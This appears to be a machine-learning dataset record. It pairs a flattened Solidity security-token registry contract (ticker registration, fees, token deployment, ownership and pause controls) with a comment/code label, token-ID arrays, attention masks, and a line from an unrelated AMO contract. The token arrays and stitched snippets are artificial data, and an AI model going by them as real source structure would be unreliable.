0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0; //keccak256("owner") bytes32 constant POLYMATHREGISTRY = 0x90eeab7c36075577c7cc5ff366e389fefa8a18289b949bab3529ab4471139d4d; //keccak256("polymathRegistry") bytes32 constant STRGETTER = 0x982f24b3bd80807ec3cb227ba152e15c07d66855fa8ae6ca536e689205c0e2e9; //keccak256("STRGetter") bytes32 constant IS_FEE_IN_POLY = 0x7152e5426955da44af11ecd67fec5e2a3ba747be974678842afa9394b9a075b6; //keccak256("IS_FEE_IN_POLY") bytes32 constant ACTIVE_USERS = 0x425619ce6ba8e9f80f17c0ef298b6557e321d70d7aeff2e74dd157bd87177a9e; //keccak256("activeUsers") bytes32 constant LATEST_VERSION = 0x4c63b69b9117452b9f11af62077d0cda875fb4e2dbe07ad6f31f728de6926230; //keccak256("latestVersion") string constant POLY_ORACLE = "StablePolyUsdOracle"; // Emit when network becomes paused event Pause(address account); // Emit when network becomes unpaused event Unpause(address account); // Emit when the ticker is removed from the registry event TickerRemoved(string _ticker, address _removedBy); // Emit when the token ticker expiry is changed event ChangeExpiryLimit(uint256 _oldExpiry, uint256 _newExpiry); // Emit when changeSecurityLaunchFee is called event ChangeSecurityLaunchFee(uint256 _oldFee, uint256 _newFee); // Emit when changeTickerRegistrationFee is called event ChangeTickerRegistrationFee(uint256 _oldFee, uint256 _newFee); // Emit when Fee currency is changed event ChangeFeeCurrency(bool _isFeeInPoly); // Emit when ownership gets transferred event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // Emit when ownership of the ticker gets changed event ChangeTickerOwnership(string _ticker, address indexed _oldOwner, address indexed _newOwner); // Emit at the time of launching a new security token of version 3.0+ event NewSecurityToken( string _ticker, string _name, address indexed _securityTokenAddress, address indexed _owner, uint256 _addedAt, address _registrant, bool _fromAdmin, uint256 _usdFee, uint256 _polyFee, uint256 _protocolVersion ); // Emit at the time of launching a new security token v2.0. // _registrationFee is in poly event NewSecurityToken( string _ticker, string _name, address indexed _securityTokenAddress, address indexed _owner, uint256 _addedAt, address _registrant, bool _fromAdmin, uint256 _registrationFee ); // Emit after ticker registration event RegisterTicker( address indexed _owner, string _ticker, uint256 indexed _registrationDate, uint256 indexed _expiryDate, bool _fromAdmin, uint256 _registrationFeePoly, uint256 _registrationFeeUsd ); // For backwards compatibility event RegisterTicker( address indexed _owner, string _ticker, string _name, uint256 indexed _registrationDate, uint256 indexed _expiryDate, bool _fromAdmin, uint256 _registrationFee ); // Emit at when issuer refreshes exisiting token event SecurityTokenRefreshed( string _ticker, string _name, address indexed _securityTokenAddress, address indexed _owner, uint256 _addedAt, address _registrant, uint256 _protocolVersion ); event ProtocolFactorySet(address indexed _STFactory, uint8 _major, uint8 _minor, uint8 _patch); event LatestVersionSet(uint8 _major, uint8 _minor, uint8 _patch); event ProtocolFactoryRemoved(address indexed _STFactory, uint8 _major, uint8 _minor, uint8 _patch); ///////////////////////////// // Modifiers ///////////////////////////// /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _onlyOwner(); _; } function _onlyOwner() internal view { require(msg.sender == owner(), "Only owner"); } modifier onlyOwnerOrSelf() { require(msg.sender == owner() || msg.sender == address(this), "Only owner or self"); _; } /** * @notice Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPausedOrOwner() { _whenNotPausedOrOwner(); _; } function _whenNotPausedOrOwner() internal view { if (msg.sender != owner()) { require(!isPaused(), "Paused"); } } /** * @notice Modifier to make a function callable only when the contract is not paused and ignore is msg.sender is owner. */ modifier whenNotPaused() { require(!isPaused(), "Paused"); _; } /** * @notice Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(isPaused(), "Not paused"); _; } ///////////////////////////// // Initialization ///////////////////////////// // Constructor constructor() public { set(INITIALIZE, true); } /** * @notice Initializes instance of STR * @param _polymathRegistry is the address of the Polymath Registry * @param _stLaunchFee is the fee in USD required to launch a token * @param _tickerRegFee is the fee in USD required to register a ticker * @param _owner is the owner of the STR, * @param _getterContract Contract address of the contract which consists getter functions. */ function initialize( address _polymathRegistry, uint256 _stLaunchFee, uint256 _tickerRegFee, address _owner, address _getterContract ) public { require(!getBoolValue(INITIALIZE),"Initialized"); require( _owner != address(0) && _polymathRegistry != address(0) && _getterContract != address(0), "Invalid address" ); set(STLAUNCHFEE, _stLaunchFee); set(TICKERREGFEE, _tickerRegFee); set(EXPIRYLIMIT, uint256(60 * 1 days)); set(PAUSED, false); set(OWNER, _owner); set(POLYMATHREGISTRY, _polymathRegistry); set(INITIALIZE, true); set(STRGETTER, _getterContract); _updateFromRegistry(); } /** * @notice Used to update the polyToken contract address */ function updateFromRegistry() external onlyOwner { _updateFromRegistry(); } function _updateFromRegistry() internal { address polymathRegistry = getAddressValue(POLYMATHREGISTRY); set(POLYTOKEN, IPolymathRegistry(polymathRegistry).getAddress("PolyToken")); } /** * @notice Converts USD fees into POLY amounts */ function _takeFee(bytes32 _feeType) internal returns (uint256, uint256) { (uint256 usdFee, uint256 polyFee) = getFees(_feeType); if (polyFee > 0) require(IERC20(getAddressValue(POLYTOKEN)).transferFrom(msg.sender, address(this), polyFee), "Insufficent allowance"); return (usdFee, polyFee); } /** * @notice Returns the usd & poly fee for a particular feetype * @param _feeType Key corresponding to fee type */ function getFees(bytes32 _feeType) public returns (uint256 usdFee, uint256 polyFee) { bool isFeesInPoly = getBoolValue(IS_FEE_IN_POLY); uint256 rawFee = getUintValue(_feeType); address polymathRegistry = getAddressValue(POLYMATHREGISTRY); uint256 polyRate = IOracle(IPolymathRegistry(polymathRegistry).getAddress(POLY_ORACLE)).getPrice(); if (!isFeesInPoly) { //Fee is in USD and not poly usdFee = rawFee; polyFee = DecimalMath.div(rawFee, polyRate); } else { usdFee = DecimalMath.mul(rawFee, polyRate); polyFee = rawFee; } } /** * @notice Gets the security token launch fee * @return Fee amount */ function getSecurityTokenLaunchFee() public returns(uint256 polyFee) { (, polyFee) = getFees(STLAUNCHFEE); } /** * @notice Gets the ticker registration fee * @return Fee amount */ function getTickerRegistrationFee() public returns(uint256 polyFee) { (, polyFee) = getFees(TICKERREGFEE); } /** * @notice Set the getter contract address * @param _getterContract Address of the contract */ function setGetterRegistry(address _getterContract) public onlyOwnerOrSelf { require(_getterContract != address(0)); set(STRGETTER, _getterContract); } function _implementation() internal view returns(address) { return getAddressValue(STRGETTER); } ///////////////////////////// // Token Ticker Management ///////////////////////////// /** * @notice Registers the token ticker to the selected owner * @notice Once the token ticker is registered to its owner then no other issuer can claim * @notice its ownership. If the ticker expires and its issuer hasn't used it, then someone else can take it. * @param _owner is address of the owner of the token * @param _ticker is unique token ticker */ function registerNewTicker(address _owner, string memory _ticker) public whenNotPausedOrOwner { require(_owner != address(0), "Bad address"); require(bytes(_ticker).length > 0 && bytes(_ticker).length <= 10, "Bad ticker"); // Attempt to charge the reg fee if it is > 0 USD (uint256 usdFee, uint256 polyFee) = _takeFee(TICKERREGFEE); string memory ticker = Util.upper(_ticker); require(tickerAvailable(ticker), "Ticker reserved"); // Check whether ticker was previously registered (and expired) address previousOwner = _tickerOwner(ticker); if (previousOwner != address(0)) { _deleteTickerOwnership(previousOwner, ticker); } /*solium-disable-next-line security/no-block-members*/ _addTicker(_owner, ticker, now, now.add(getUintValue(EXPIRYLIMIT)), false, false, polyFee, usdFee); } /** * @dev This function is just for backwards compatibility */ function registerTicker(address _owner, string calldata _ticker, string calldata _tokenName) external { registerNewTicker(_owner, _ticker); (, uint256 polyFee) = getFees(TICKERREGFEE); emit RegisterTicker(_owner, _ticker, _tokenName, now, now.add(getUintValue(EXPIRYLIMIT)), false, polyFee); } /** * @notice Internal - Sets the details of the ticker */ function _addTicker( address _owner, string memory _ticker, uint256 _registrationDate, uint256 _expiryDate, bool _status, bool _fromAdmin, uint256 _polyFee, uint256 _usdFee ) internal { _setTickerOwnership(_owner, _ticker); _storeTickerDetails(_ticker, _owner, _registrationDate, _expiryDate, _status); emit RegisterTicker(_owner, _ticker, _registrationDate, _expiryDate, _fromAdmin, _polyFee, _usdFee); } /** * @notice Modifies the ticker details. Only Polymath has the ability to do so. * @notice Only allowed to modify the tickers which are not yet deployed. * @param _owner is the owner of the token * @param _ticker is the token ticker * @param _registrationDate is the date at which ticker is registered * @param _expiryDate is the expiry date for the ticker * @param _status is the token deployment status */ function modifyExistingTicker( address _owner, string memory _ticker, uint256 _registrationDate, uint256 _expiryDate, bool _status ) public onlyOwner { require(bytes(_ticker).length > 0 && bytes(_ticker).length <= 10, "Bad ticker"); require(_expiryDate != 0 && _registrationDate != 0, "Bad dates"); require(_registrationDate <= _expiryDate, "Bad dates"); require(_owner != address(0), "Bad address"); string memory ticker = Util.upper(_ticker); _modifyTicker(_owner, ticker, _registrationDate, _expiryDate, _status); } /** * @dev This function is just for backwards compatibility */ function modifyTicker( address _owner, string calldata _ticker, string calldata _tokenName, uint256 _registrationDate, uint256 _expiryDate, bool _status ) external { modifyExistingTicker(_owner, _ticker, _registrationDate, _expiryDate, _status); emit RegisterTicker(_owner, _ticker, _tokenName, now, now.add(getUintValue(EXPIRYLIMIT)), false, 0); } /** * @notice Internal -- Modifies the ticker details. */ function _modifyTicker( address _owner, string memory _ticker, uint256 _registrationDate, uint256 _expiryDate, bool _status ) internal { address currentOwner = _tickerOwner(_ticker); if (currentOwner != address(0)) { _deleteTickerOwnership(currentOwner, _ticker); } if (_tickerStatus(_ticker) && !_status) { set(Encoder.getKey("tickerToSecurityToken", _ticker), address(0)); } // If status is true, there must be a security token linked to the ticker already if (_status) { require(getAddressValue(Encoder.getKey("tickerToSecurityToken", _ticker)) != address(0), "Not registered"); } _addTicker(_owner, _ticker, _registrationDate, _expiryDate, _status, true, uint256(0), uint256(0)); } function _tickerOwner(string memory _ticker) internal view returns(address) { return getAddressValue(Encoder.getKey("registeredTickers_owner", _ticker)); } /** * @notice Removes the ticker details, associated ownership & security token mapping * @param _ticker is the token ticker */ function removeTicker(string memory _ticker) public onlyOwner { string memory ticker = Util.upper(_ticker); address owner = _tickerOwner(ticker); require(owner != address(0), "Bad ticker"); _deleteTickerOwnership(owner, ticker); set(Encoder.getKey("tickerToSecurityToken", ticker), address(0)); _storeTickerDetails(ticker, address(0), 0, 0, false); /*solium-disable-next-line security/no-block-members*/ emit TickerRemoved(ticker, msg.sender); } /** * @notice Checks if the entered ticker is registered and has not expired * @param _ticker is the token ticker * @return bool */ function tickerAvailable(string memory _ticker) public view returns(bool) { if (_tickerOwner(_ticker) != address(0)) { /*solium-disable-next-line security/no-block-members*/ if ((now > getUintValue(Encoder.getKey("registeredTickers_expiryDate", _ticker))) && !_tickerStatus(_ticker)) { return true; } else return false; } return true; } function _tickerStatus(string memory _ticker) internal view returns(bool) { return getBoolValue(Encoder.getKey("registeredTickers_status", _ticker)); } /** * @notice Internal - Sets the ticker owner * @param _owner is the address of the owner of the ticker * @param _ticker is the ticker symbol */ function _setTickerOwnership(address _owner, string memory _ticker) internal { bytes32 _ownerKey = Encoder.getKey("userToTickers", _owner); uint256 length = uint256(getArrayBytes32(_ownerKey).length); pushArray(_ownerKey, Util.stringToBytes32(_ticker)); set(Encoder.getKey("tickerIndex", _ticker), length); bytes32 seenKey = Encoder.getKey("seenUsers", _owner); if (!getBoolValue(seenKey)) { pushArray(ACTIVE_USERS, _owner); set(seenKey, true); } } /** * @notice Internal - Stores the ticker details */ function _storeTickerDetails( string memory _ticker, address _owner, uint256 _registrationDate, uint256 _expiryDate, bool _status ) internal { bytes32 key = Encoder.getKey("registeredTickers_owner", _ticker); set(key, _owner); key = Encoder.getKey("registeredTickers_registrationDate", _ticker); set(key, _registrationDate); key = Encoder.getKey("registeredTickers_expiryDate", _ticker); set(key, _expiryDate); key = Encoder.getKey("registeredTickers_status", _ticker); set(key, _status); } /** * @notice Transfers the ownership of the ticker * @param _newOwner is the address of the new owner of the ticker * @param _ticker is the ticker symbol */ function transferTickerOwnership(address _newOwner, string memory _ticker) public whenNotPausedOrOwner { string memory ticker = Util.upper(_ticker); require(_newOwner != address(0), "Bad address"); bytes32 ownerKey = Encoder.getKey("registeredTickers_owner", ticker); require(getAddressValue(ownerKey) == msg.sender, "Only owner"); if (_tickerStatus(ticker)) require( IOwnable(getAddressValue(Encoder.getKey("tickerToSecurityToken", ticker))).owner() == _newOwner, "Owner mismatch" ); _deleteTickerOwnership(msg.sender, ticker); _setTickerOwnership(_newOwner, ticker); set(ownerKey, _newOwner); emit ChangeTickerOwnership(ticker, msg.sender, _newOwner); } /** * @notice Internal - Removes the owner of a ticker */ function _deleteTickerOwnership(address _owner, string memory _ticker) internal { uint256 index = uint256(getUintValue(Encoder.getKey("tickerIndex", _ticker))); bytes32 ownerKey = Encoder.getKey("userToTickers", _owner); bytes32[] memory tickers = getArrayBytes32(ownerKey); assert(index < tickers.length); assert(_tickerOwner(_ticker) == _owner); deleteArrayBytes32(ownerKey, index); if (getArrayBytes32(ownerKey).length > index) { bytes32 switchedTicker = getArrayBytes32(ownerKey)[index]; set(Encoder.getKey("tickerIndex", Util.bytes32ToString(switchedTicker)), index); } } /** * @notice Changes the expiry time for the token ticker. Only available to Polymath. * @param _newExpiry is the new expiry for newly generated tickers */ function changeExpiryLimit(uint256 _newExpiry) public onlyOwner { require(_newExpiry >= 1 days, "Bad dates"); emit ChangeExpiryLimit(getUintValue(EXPIRYLIMIT), _newExpiry); set(EXPIRYLIMIT, _newExpiry); } ///////////////////////////// // Security Token Management ///////////////////////////// /** * @notice Deploys an instance of a new Security Token of version 2.0 and records it to the registry * @dev this function is for backwards compatibilty with 2.0 dApp. * @param _name is the name of the token * @param _ticker is the ticker symbol of the security token * @param _tokenDetails is the off-chain details of the token * @param _divisible is whether or not the token is divisible */ function generateSecurityToken( string calldata _name, string calldata _ticker, string calldata _tokenDetails, bool _divisible ) external { generateNewSecurityToken(_name, _ticker, _tokenDetails, _divisible, msg.sender, VersionUtils.pack(2, 0, 0)); } /** * @notice Deploys an instance of a new Security Token and records it to the registry * @param _name is the name of the token * @param _ticker is the ticker symbol of the security token * @param _tokenDetails is the off-chain details of the token * @param _divisible is whether or not the token is divisible * @param _treasuryWallet Ethereum address which will holds the STs. * @param _protocolVersion Version of securityToken contract * - `_protocolVersion` is the packed value of uin8[3] array (it will be calculated offchain) * - if _protocolVersion == 0 then latest version of securityToken will be generated */ function generateNewSecurityToken( string memory _name, string memory _ticker, string memory _tokenDetails, bool _divisible, address _treasuryWallet, uint256 _protocolVersion ) public whenNotPausedOrOwner { require(bytes(_name).length > 0 && bytes(_ticker).length > 0, "Bad ticker"); require(_treasuryWallet != address(0), "0x0 not allowed"); if (_protocolVersion == 0) { _protocolVersion = getUintValue(LATEST_VERSION); } _ticker = Util.upper(_ticker); bytes32 statusKey = Encoder.getKey("registeredTickers_status", _ticker); require(!getBoolValue(statusKey), "Already deployed"); set(statusKey, true); address issuer = msg.sender; require(_tickerOwner(_ticker) == issuer, "Not authorised"); /*solium-disable-next-line security/no-block-members*/ require(getUintValue(Encoder.getKey("registeredTickers_expiryDate", _ticker)) >= now, "Ticker expired"); (uint256 _usdFee, uint256 _polyFee) = _takeFee(STLAUNCHFEE); address newSecurityTokenAddress = _deployToken(_name, _ticker, _tokenDetails, issuer, _divisible, _treasuryWallet, _protocolVersion); if (_protocolVersion == VersionUtils.pack(2, 0, 0)) { // For backwards compatibilty. Should be removed with an update when we disable st 2.0 generation. emit NewSecurityToken( _ticker, _name, newSecurityTokenAddress, issuer, now, issuer, false, _polyFee ); } else { emit NewSecurityToken( _ticker, _name, newSecurityTokenAddress, issuer, now, issuer, false, _usdFee, _polyFee, _protocolVersion ); } } /** * @notice Deploys an instance of a new Security Token and replaces the old one in the registry * This can be used to upgrade from version 2.0 of ST to 3.0 or in case something goes wrong with earlier ST * @dev This function needs to be in STR 3.0. Defined public to avoid stack overflow * @param _name is the name of the token * @param _ticker is the ticker symbol of the security token * @param _tokenDetails is the off-chain details of the token * @param _divisible is whether or not the token is divisible */ function refreshSecurityToken( string memory _name, string memory _ticker, string memory _tokenDetails, bool _divisible, address _treasuryWallet ) public whenNotPausedOrOwner returns (address) { require(bytes(_name).length > 0 && bytes(_ticker).length > 0, "Bad ticker"); require(_treasuryWallet != address(0), "0x0 not allowed"); string memory ticker = Util.upper(_ticker); require(_tickerStatus(ticker), "not deployed"); address st = getAddressValue(Encoder.getKey("tickerToSecurityToken", ticker)); address stOwner = IOwnable(st).owner(); require(msg.sender == stOwner, "Unauthroized"); require(ISecurityToken(st).transfersFrozen(), "Transfers not frozen"); uint256 protocolVersion = getUintValue(LATEST_VERSION); address newSecurityTokenAddress = _deployToken(_name, ticker, _tokenDetails, stOwner, _divisible, _treasuryWallet, protocolVersion); emit SecurityTokenRefreshed( _ticker, _name, newSecurityTokenAddress, stOwner, now, stOwner, protocolVersion ); } function _deployToken( string memory _name, string memory _ticker, string memory _tokenDetails, address _issuer, bool _divisible, address _wallet, uint256 _protocolVersion ) internal returns(address newSecurityTokenAddress) { // In v2.x of STFactory, the final argument to deployToken is the PolymathRegistry. // In v3.x of STFactory, the final argument to deployToken is the Treasury wallet. uint8[] memory upperLimit = new uint8[](3); upperLimit[0] = 2; upperLimit[1] = 99; upperLimit[2] = 99; if (VersionUtils.lessThanOrEqual(VersionUtils.unpack(uint24(_protocolVersion)), upperLimit)) { _wallet = getAddressValue(POLYMATHREGISTRY); } newSecurityTokenAddress = ISTFactory(getAddressValue(Encoder.getKey("protocolVersionST", _protocolVersion))).deployToken( _name, _ticker, 18, _tokenDetails, _issuer, _divisible, _wallet ); /*solium-disable-next-line security/no-block-members*/ _storeSecurityTokenData(newSecurityTokenAddress, _ticker, _tokenDetails, now); set(Encoder.getKey("tickerToSecurityToken", _ticker), newSecurityTokenAddress); } /** * @notice Adds a new custom Security Token and saves it to the registry. (Token should follow the ISecurityToken interface) * @param _ticker is the ticker symbol of the security token * @param _owner is the owner of the token * @param _securityToken is the address of the securityToken * @param _tokenDetails is the off-chain details of the token * @param _deployedAt is the timestamp at which the security token is deployed */ function modifyExistingSecurityToken( string memory _ticker, address _owner, address _securityToken, string memory _tokenDetails, uint256 _deployedAt ) public onlyOwner { require(bytes(_ticker).length <= 10, "Bad ticker"); require(_deployedAt != 0 && _owner != address(0), "Bad data"); string memory ticker = Util.upper(_ticker); require(_securityToken != address(0), "Bad address"); uint256 registrationTime = getUintValue(Encoder.getKey("registeredTickers_registrationDate", ticker)); uint256 expiryTime = getUintValue(Encoder.getKey("registeredTickers_expiryDate", ticker)); if (registrationTime == 0) { /*solium-disable-next-line security/no-block-members*/ registrationTime = now; expiryTime = registrationTime.add(getUintValue(EXPIRYLIMIT)); } set(Encoder.getKey("tickerToSecurityToken", ticker), _securityToken); _modifyTicker(_owner, ticker, registrationTime, expiryTime, true); _storeSecurityTokenData(_securityToken, ticker, _tokenDetails, _deployedAt); emit NewSecurityToken( ticker, ISecurityToken(_securityToken).name(), _securityToken, _owner, _deployedAt, msg.sender, true, uint256(0), uint256(0), 0 ); } /** * @dev This function is just for backwards compatibility */ function modifySecurityToken( string calldata /* */, string calldata _ticker, address _owner, address _securityToken, string calldata _tokenDetails, uint256 _deployedAt ) external { modifyExistingSecurityToken(_ticker, _owner, _securityToken, _tokenDetails, _deployedAt); } /** * @notice Internal - Stores the security token details */ function _storeSecurityTokenData( address _securityToken, string memory _ticker, string memory _tokenDetails, uint256 _deployedAt ) internal { set(Encoder.getKey("securityTokens_ticker", _securityToken), _ticker); set(Encoder.getKey("securityTokens_tokenDetails", _securityToken), _tokenDetails); set(Encoder.getKey("securityTokens_deployedAt", _securityToken), _deployedAt); } /** * @notice Checks that Security Token is registered * @param _securityToken is the address of the security token * @return bool */ function isSecurityToken(address _securityToken) external view returns(bool) { return (keccak256(bytes(getStringValue(Encoder.getKey("securityTokens_ticker", _securityToken)))) != keccak256("")); } ///////////////////////////// // Ownership, lifecycle & Utility ///////////////////////////// /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0), "Bad address"); emit OwnershipTransferred(getAddressValue(OWNER), _newOwner); set(OWNER, _newOwner); } /** * @notice Called by the owner to pause, triggers stopped state */ function pause() external whenNotPaused onlyOwner { set(PAUSED, true); /*solium-disable-next-line security/no-block-members*/ emit Pause(msg.sender); } /** * @notice Called by the owner to unpause, returns to normal state */ function unpause() external whenPaused onlyOwner { set(PAUSED, false); /*solium-disable-next-line security/no-block-members*/ emit Unpause(msg.sender); } /** * @notice Sets the ticker registration fee in USD tokens. Only Polymath. * @param _tickerRegFee is the registration fee in USD tokens (base 18 decimals) */ function changeTickerRegistrationFee(uint256 _tickerRegFee) public onlyOwner { uint256 fee = getUintValue(TICKERREGFEE); require(fee != _tickerRegFee, "Bad fee"); _changeTickerRegistrationFee(fee, _tickerRegFee); } function _changeTickerRegistrationFee(uint256 _oldFee, uint256 _newFee) internal { emit ChangeTickerRegistrationFee(_oldFee, _newFee); set(TICKERREGFEE, _newFee); } /** * @notice Sets the ticker registration fee in USD tokens. Only Polymath. * @param _stLaunchFee is the registration fee in USD tokens (base 18 decimals) */ function changeSecurityLaunchFee(uint256 _stLaunchFee) public onlyOwner { uint256 fee = getUintValue(STLAUNCHFEE); require(fee != _stLaunchFee, "Bad fee"); _changeSecurityLaunchFee(fee, _stLaunchFee); } function _changeSecurityLaunchFee(uint256 _oldFee, uint256 _newFee) internal { emit ChangeSecurityLaunchFee(_oldFee, _newFee); set(STLAUNCHFEE, _newFee); } /** * @notice Sets the ticker registration and ST launch fee amount and currency * @param _tickerRegFee is the ticker registration fee (base 18 decimals) * @param _stLaunchFee is the st generation fee (base 18 decimals) * @param _isFeeInPoly defines if the fee is in poly or usd */ function changeFeesAmountAndCurrency(uint256 _tickerRegFee, uint256 _stLaunchFee, bool _isFeeInPoly) public onlyOwner { uint256 tickerFee = getUintValue(TICKERREGFEE); uint256 stFee = getUintValue(STLAUNCHFEE); bool isOldFeesInPoly = getBoolValue(IS_FEE_IN_POLY); require(isOldFeesInPoly != _isFeeInPoly, "Currency unchanged"); _changeTickerRegistrationFee(tickerFee, _tickerRegFee); _changeSecurityLaunchFee(stFee, _stLaunchFee); emit ChangeFeeCurrency(_isFeeInPoly); set(IS_FEE_IN_POLY, _isFeeInPoly); } /** * @notice Reclaims all ERC20Basic compatible tokens * @param _tokenContract is the address of the token contract */ function reclaimERC20(address _tokenContract) public onlyOwner { require(_tokenContract != address(0), "Bad address"); IERC20 token = IERC20(_tokenContract); uint256 balance = token.balanceOf(address(this)); require(token.transfer(owner(), balance), "Transfer failed"); } /** * @notice Changes the SecurityToken contract for a particular factory version * @notice Used only by Polymath to upgrade the SecurityToken contract and add more functionalities to future versions * @notice Changing versions does not affect existing tokens. * @param _STFactoryAddress is the address of the proxy. * @param _major Major version of the proxy. * @param _minor Minor version of the proxy. * @param _patch Patch version of the proxy */ function setProtocolFactory(address _STFactoryAddress, uint8 _major, uint8 _minor, uint8 _patch) public onlyOwner { _setProtocolFactory(_STFactoryAddress, _major, _minor, _patch); } function _setProtocolFactory(address _STFactoryAddress, uint8 _major, uint8 _minor, uint8 _patch) internal { require(_STFactoryAddress != address(0), "Bad address"); uint24 _packedVersion = VersionUtils.pack(_major, _minor, _patch); address stFactoryAddress = getAddressValue(Encoder.getKey("protocolVersionST", uint256(_packedVersion))); require(stFactoryAddress == address(0), "Already exists"); set(Encoder.getKey("protocolVersionST", uint256(_packedVersion)), _STFactoryAddress); emit ProtocolFactorySet(_STFactoryAddress, _major, _minor, _patch); } /** * @notice Removes a STFactory * @param _major Major version of the proxy. * @param _minor Minor version of the proxy. * @param _patch Patch version of the proxy */ function removeProtocolFactory(uint8 _major, uint8 _minor, uint8 _patch) public onlyOwner { uint24 _packedVersion = VersionUtils.pack(_major, _minor, _patch); require(getUintValue(LATEST_VERSION) != _packedVersion, "Cannot remove latestVersion"); emit ProtocolFactoryRemoved(getAddressValue(Encoder.getKey("protocolVersionST", _packedVersion)), _major, _minor, _patch); set(Encoder.getKey("protocolVersionST", uint256(_packedVersion)), address(0)); } /** * @notice Changes the default protocol version * @notice Used only by Polymath to upgrade the SecurityToken contract and add more functionalities to future versions * @notice Changing versions does not affect existing tokens. * @param _major Major version of the proxy. * @param _minor Minor version of the proxy. * @param _patch Patch version of the proxy */ function setLatestVersion(uint8 _major, uint8 _minor, uint8 _patch) public onlyOwner { _setLatestVersion(_major, _minor, _patch); } function _setLatestVersion(uint8 _major, uint8 _minor, uint8 _patch) internal { uint24 _packedVersion = VersionUtils.pack(_major, _minor, _patch); require(getAddressValue(Encoder.getKey("protocolVersionST", _packedVersion)) != address(0), "No factory"); set(LATEST_VERSION, uint256(_packedVersion)); emit LatestVersionSet(_major, _minor, _patch); } /** * @notice Changes the PolyToken address. Only Polymath. * @param _newAddress is the address of the polytoken. */ function updatePolyTokenAddress(address _newAddress) public onlyOwner { require(_newAddress != address(0), "Bad address"); set(POLYTOKEN, _newAddress); } /** * @notice Check whether the registry is paused or not * @return bool */ function isPaused() public view returns(bool) { return getBoolValue(PAUSED); } /** * @notice Gets the owner of the contract * @return address owner */ function owner() public view returns(address) { return getAddressValue(OWNER); } }
Emit when changeSecurityLaunchFee is called
event ChangeSecurityLaunchFee(uint256 _oldFee, uint256 _newFee);
12,533,449
[ 1, 17982, 1347, 2549, 4368, 9569, 14667, 353, 2566, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 871, 7576, 4368, 9569, 14667, 12, 11890, 5034, 389, 1673, 14667, 16, 2254, 5034, 389, 2704, 14667, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0xdeDD7a0f96a8d89B5336c66fCdFB29aa885F6aC3/sources/NinjaAMO.sol
virtual start with 36 BNB to adjust price for Curve
uint256 public virtualBalance = 36000000000000000000;
11,242,248
